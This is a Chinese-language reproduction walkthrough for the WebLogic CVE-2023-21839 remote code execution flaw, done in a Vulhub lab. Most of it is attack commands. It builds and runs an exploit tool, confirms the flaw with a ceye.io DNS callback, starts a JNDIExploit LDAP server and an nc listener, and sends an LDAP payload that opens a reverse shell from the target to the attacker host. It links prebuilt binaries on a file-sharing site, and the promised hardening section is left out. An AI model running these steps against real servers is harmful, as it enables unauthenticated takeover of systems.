漏洞描述

Weblogic IIOP/T3协议存在缺陷，当IIOP/T3协议开启时，未经身份验证的攻击者通过IIOP/T3协议向受影响的服务器发送恶意的请求，最终导致在目标服务器上访问敏感信息并执行任意代码

影响版本

• Weblogic 12.2.1.3.0

• Weblogic 12.2.1.4.0

• Weblogic 14.1.1.0.0

环境搭建

本文使用Vulhub搭建weblogic环境，环境安装参照：https://vulhub.org/#/docs/

漏洞检测

访问为weblogic首页则搭建完成：http://192.168.109.129:7001/console/login/LoginForm.jsp

首先先使用漏洞检测工具验证是否存在该漏洞：https://github.com/4ra1n/CVE-2023-21839，官方提供的工具需要使用go语言编译

cd cmd
go build -o CVE-2023-21839.exe

已经编译好的windows版本：https://wwqf.lanzoue.com/i8VFc0u1sx5i

使用dnslog检测：ceye.io

CVE-2023-21839.exe -ip 192.168.109.129 -port 7001 -ldap ldap://xxxxx.ceye.io

DNSLOG回显信息，表示漏洞存在

漏洞复现-RCE

知道漏洞存在后就可以进行漏洞利用了，这里使用利用 JNDIExploit。

首先建立JNDI服务，并且另启终端开启本地NC监听端口1234

JNDI下载地址：https://wwqf.lanzoue.com/i9V2y0u1vm3i

java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.109.128

nc -lvvp 1234

然后使用官方提供的利用工具

CVE-2023-21839.exe -ip 192.168.109.129 -port 7001 -ldap ldap://192.168.109.128:1389/Basic/ReverseShell/192.168.109.128/1234

JDNI服务有返回信息说明正常访问ldap

等待几秒钟后，反弹shell成功

本来要写加固的，登陆后老是给我踢出去，，就先这样把。。